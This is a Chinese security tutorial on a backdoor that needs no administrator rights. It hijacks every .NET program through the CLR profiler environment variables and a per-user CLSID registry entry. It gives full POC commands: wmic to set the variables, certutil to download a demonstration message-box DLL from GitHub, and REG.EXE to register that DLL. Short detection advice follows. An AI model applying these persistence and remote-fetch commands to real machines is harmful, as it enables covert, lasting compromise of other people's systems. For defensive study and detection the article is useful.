利用CLR实现一种无需管理员权限的后门

本文讲的是利用CLR实现一种无需管理员权限的后门,在之前的文章《Use AppDomainManager to maintain persistence》介绍了通过AppDomainManager实现的一种被动后门触发机制,演示了如何劫持系统.Net程序powershell_ise.exe,但前提是需要获得管理员权限。 

这一次将更进一步,介绍一种无需管理员权限的后门,并能够劫持所有.Net程序。

0x01 简介

本文将要介绍以下内容:

· CLR的使用

· 后门开发思路

· POC编写

· 后门检测

0x02 CLR的使用

CLR:

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:

· 在CLR监视之下运行的程序属于“托管的”(managed)代码

· 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

CLR的使用:

测试系统: Win8 x86

1、启动cmd

输入如下代码:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

注:

{11111111-1111-1111-1111-111111111111}表示CLSID

可设置为任意数值,只要不和系统常用CLSID冲突就好

2、测试dll

使用弹框dll,下载地址:

https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

dll开发过程可参考:

https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

可在cmd下实现直接下载,代码如下:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

操作如下图

注:

delete是为了清除下载文件的缓存

更多关于使用certutil.exe下载文件的利用细节可参考文章:《渗透测试中的certutil.exe》

3、操作注册表

注册表路径:HKEY_CURRENT_USERSoftwareClassesCLSID

新建子项{11111111-1111-1111-1111-111111111111},同步骤1 cmd输入的CLSID对应 
新建子项InProcServer32 
新建键值REG_SZ ThreadingModel:Apartment 
默认路径改为msg.dll的路径

修改后的注册表如下图

对应cmd代码如下:

SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

4、在当前cmd启动.net程序

例如powershell.exe,启动时加载msg.dll,弹框

操作如下图

注:

使用其他cmd执行powershell.exe不会加载msg.dll

原因:

SET COR_ENABLE_PROFILING=1
SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

只作用于当前cmd,可通过cmd命令"set"判断

当然,执行其他.net程序也会加载msg.dll

测试如下图

0x03 后门开发思路

由以上测试得出结论,使用CLR能够劫持所有.Net程序的启动,但是只能作用于当前cmd

能否作用于全局呢?

自然想到了修改环境变量

通常,修改环境变量使用面板操作的方式,如下图

能否通过命令行修改环境变量呢?

自然想到了WMI

修改系统变量(需要管理员权限):

wmic ENVIRONMENT create name="1",username="<system>",VariableValue="1"

修改当前用户变量(当前用户权限):

wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"

注:

通过WMI修改环境变量需要系统重启或注销重新登录才能生效

接下来需要测试,是否只需要修改当前用户权限就能够实现作用于全局,答案是肯定的。

添加当前用户的环境变量:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"

wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"

重启后,成功修改,如下图

现在直接启动.Net程序,弹框,成功加载msg.dll

如下图

至此,后门思路验证成功

0x04 POC编写

对于32位操作系统,参考0x03的代码就好,x86 POC如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

对应64位系统,需要注意重定向问题,注册表存在32位和64位两个位置

注:

更多关于64位系统的重定向细节可参考文章《关于32位程序在64位系统下运行中需要注意的重定向问题》

结合到本文,32位需要对应32位的dll,64位对应64位的dll

所以,需要准备64位的dll,下载地址如下:

https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll

过程不再赘述,64位POC如下:

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USERSoftwareClassesWoW6432NodeCLSID{11111111-1111-1111-1111-111111111111}InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

能够分别劫持32位和64位的.Net程序,完整测试如下图

注:

更多代码细节可见github,地址如下:

https://github.com/3gstudent/CLR-Injection

0x05 后门检测

结合利用方式,检测方法如下:

· 检查环境变量COR_ENABLE_PROFILINGCOR_PROFILER

· 检查注册表键值HKEY_CURRENT_USERSoftwareClassesCLSID

0x06 小结

本文介绍了通过CLR劫持.Net程序的后门,特点是无需管理员权限,并能够劫持所有.Net程序。更重要的是,系统默认会调用.net程序,导致后门自动触发。

原文发布时间为:2017年8月9日

本文作者:3gstudent

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-28 23:54:50

利用CLR实现一种无需管理员权限的后门的相关文章

从活动目录中获取域管理员权限的6种方法

本文讲的是从活动目录中获取域管理员权限的6种方法,通常,在大多数企业当中,攻击者根本不需要太长的时间,就可以将域中普通用户的权限提升到域管理员的权限.公司运维人员会困惑,"这一切都是怎么发生的?" 一次攻击,往往开始于公司中的一个或多个用户打开了恶意邮件,使得攻击者可以在目标网络中的计算机上执行恶意代码.一旦恶意代码被运行,攻击者就会利用恶意代码对企业内网进行侦查,以便于发现有用的资源进行提权,进行持久控制,当然,他们还有可能进行信息掠夺. 虽然整体的细节以及流程大多不同,但是他们的目

管理员权限运行批处理的几种方法

原文:管理员权限运行批处理的几种方法 废话不说.解决win7运行批处理出错不能注册dll等问题. 1.在批处理的第一行加入:cd /d %~dp0 然后在批处理上右键选择使用管理员权限运行. 2.右键任务栏,选择资源管理器,进程选项卡,显示所有用户的进程,结束explorer,文件-新建任务 explorer,此时选中"利用管理特权创建此任务".桌面显示完成后就可以直接双击批处理运行了. 3.使用第三方提权工具,例如elevate ,用法elevate -c regsvr32 demo

Android无需申请权限拨打电话的两种方式_Android

Android打电话有两种实现方法: 第一种方法,拨打电话跳转到拨号界面.源代码如下: Intent intent = new Intent(Intent.ACTION_DIAL); Uri data = Uri.parse("tel:" + "135xxxxxxxx"); intent.setData(data); startActivity(intent); 第二种方法,拨打电话直接进行拨打,但是有些第三方rom(例如:MIUI),不会直接进行拨打,而是要用户进

Android无需申请权限拨打电话的两种方式

Android打电话有两种实现方法: 第一种方法,拨打电话跳转到拨号界面.源代码如下: Intent intent = new Intent(Intent.ACTION_DIAL); Uri data = Uri.parse("tel:" + "135xxxxxxxx"); intent.setData(data); startActivity(intent); 第二种方法,拨打电话直接进行拨打,但是有些第三方rom(例如:MIUI),不会直接进行拨打,而是要用户进

内网域渗透之无管理员权限的重要信息搜集

本文讲的是内网域渗透之无管理员权限的重要信息搜集,经常被遗忘(或被误解)的一个事实是,大多数对象及其属性可以被验证的用户(通常是域用户)查看(或读取).管理员可能会认为,由于通过管理工具(如"Active Directory用户和计算机"(dsa.msc)或"Active Directory管理中心"(dsac.msc))可以轻松访问此数据,因此其他人就无法查看用户数据(超出了Outlook的GAL中暴露的内容).这通常导致密码数据被放置在用户对象属性或SYSVOL

利用sudo命令为Ubuntu分配管理权限

[导读]本文介绍如何利用sudo命令为Ubuntu分配管理权限. Ubuntu有一个与众不同的特点,那就是初次使用时,你无法作为root来登录系统,为什么会这样?这就要从系统的安装说起.对于其他Linux系统来说,一般在安装过程就设定root密码,这样用户就能用它登录root帐户或使用su命令转换到超级用户身份.与之相反,Ubuntu默认安装时,并没有给root用户设置口令,也没有启用root帐户.问题是要想作为root用户来运行命令该怎么办呢?没关系,我们可以使用sudo命令达此目的. sud

Win7如何取得文件管理员权限

  从Vista系统开始,微软为了提供系统安全性,开始强调对于Windows文件的所有权,以及程序运行时的用户权限,限制程序对系统重要文件的 篡改.不过这样也给我们平时使用带来了一些问题,同样WIndows7也有权限问题.当我们发现某些文件无法修改时,我们就需要取得这个文件的管理员 所有权,取得之后,我们就可以随心所欲的去修改它了. 我们要介绍的技巧就是如何取得某一个文件或文件夹的所有权: 方法一:为Windows7的右键菜单添加取得所有权的菜单:具体实现的方法不难,将以下内容另存为文本文件,然

Windows7如何取得文件管理员权限?

  如何取得Win7文件的管理员权限? 从Vista系统开始,微软为了提供系统安全性,开始强调对于Windows文件的所有权,以及程序运行时的用户权限,限制程序对系统重要文件的 篡改.不过这样也给我们平时使用带来了一些问题,同样WIndows7也有权限问题.当我们发现某些文件无法修改时,我们就需要取得这个文件的管理员 所有权,取得之后,我们就可以随心所欲的去修改它了. 我们要介绍的技巧就是如何取得某一个文件或文件夹的所有权: 方法一:为Windows7的右键菜单添加取得所有权的菜单:具体实现的方

Win7系统如何取得文件管理员权限

  从Vista系统开始,微软为了提供系统安全性,开始强调对于Windows文件的所有权,以及程序运行时的用户权限,限制程序对系统重要文件的 篡改.不过这样也给我们平时使用带来了一些问题,同样WIndows7也有权限问题.当我们发现某些文件无法修改时,我们就需要取得这个文件的管理员 所有权,取得之后,我们就可以随心所欲的去修改它了. 我们要介绍的技巧就是如何取得某一个文件或文件夹的所有权: 方法一:为Windows7的右键菜单添加取得所有权的菜单:具体实现的方法不难,将以下内容另存为文本文件,然